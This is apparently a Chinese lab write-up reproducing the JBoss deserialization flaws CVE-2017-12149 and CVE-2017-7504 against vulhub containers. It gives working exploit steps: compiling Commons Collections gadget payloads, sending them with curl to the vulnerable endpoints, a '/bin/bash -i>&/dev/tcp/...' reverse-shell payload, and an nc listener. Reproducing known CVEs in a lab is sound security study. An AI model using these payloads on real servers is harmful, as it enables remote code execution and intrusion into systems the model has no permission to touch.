文章目录
Jboss反序列化漏洞利用CVE-2017-12149/CVE-2017-7504
基础知识
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。
形成漏洞的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。
漏洞原理
CVE-2017-12149
漏洞影响5.x和6.x版本的JBOSSAS。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。
CVE-2017-7504
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响版本
CVE-2017-12149:JBoss AS 5.x和6.x版
CVE-2017-7504:JBoss AS 4.x及之前版本
复现思路
- 云主机的内置vulhub8080端口搭建实验靶场
- 加载攻击脚本,编译并生成序列化数据
- 序列化恶意数据至文件,将该文件作为请求数据主体发送数据包
- 云主机开启端口监听反弹过来的shell
- CVE-2017-12149利用路径是/invoker/readonly
- CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet
- CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet
复现—CVE-2017-12149
前情提要:云主机作为攻击方,云主机内部靶场镜像开启JBOOS CVE-2017-12149漏洞容器作为受害方。
本文使用的脚本下载地址:
https://github.com/joaomatosf/JavaDeserH2HC
开启漏洞环境主页面:
1、特征检测
端口扫描:
// 使用nmap扫描端口,检测是否开启该服务:
nmap -p 1-65535 -A 目标 IP
- 1
- 2
目录拼接:
访问 http://IP:port/invoker/readonly
若出现如上500报错页面,则说明符合特征,可能存在该漏洞。
2、反弹shell
脚本下载地址:
https://github.com/joaomatosf/JavaDeserH2HC
下载工具脚本,后进入工具目录:
编译并生成序列化数据:
// 执行下面命令会生成相应的.class文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
- 1
- 2
ser全称serialize,序列化恶意数据至文件:
// 执行下面命令会生成相应的.ser文件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 云主机IP:port(反弹shell使用的监听端口)
- 1
- 2
将该文件作为请求数据主体发送数据包,–data-binary 意为以二进制的方式post数据:
// curl 这个二进制文件发送payload
curl http://目标 IP:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
- 1
- 2
监听端口:
// 开启监听端口
nc -lvnp 6666
- 1
- 2
过程截图:
成功反弹(注:这里出现connect to [X.X.X.X] from x.x.x.x 后就可以直接执行命令了,博主以为卡死了等了好久,做了很多尝试才发现已经连接成功了 QAQ)
复现—CVE-2017-7504
前情提要:云主机作为攻击方,云主机内部靶场镜像开启JBOOS CVE-2017-7504漏洞容器作为受害方。
1、特征检测
端口扫描:
// 使用nmap扫描端口,检测是否开启该服务:
nmap -p 1-65535 -A 目标 IP
- 1
- 2
目录拼接:
访问 http://IP:port/jbossmq-httpil/HTTPServerILServlet
2、反弹shell
进入上文中下载的工具脚本文件,编译并生成序列化数据:
// 执行下面命令会生成相应的.class文件
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
- 1
- 2
序列化恶意数据至文件:
// 执行下面命令会生成相应的.ser文件
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java '/bin/bash -i>&/dev/tcp/云主机IP/监听端口<&1' (反弹shell使用的监听端口)
- 1
- 2
将该文件作为请求数据主体发送数据包,–data-binary 意为以二进制的方式post数据:
// curl 这个二进制文件发送payload
curl http://目标IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser
- 1
- 2
监听端口:
// 开启监听端口
nc -lvnp 6666
- 1
- 2
过程截图:
成功反弹~!
集成工具下载地址(还阔以,挺好用的):
https://github.com/joaomatosf/jexboss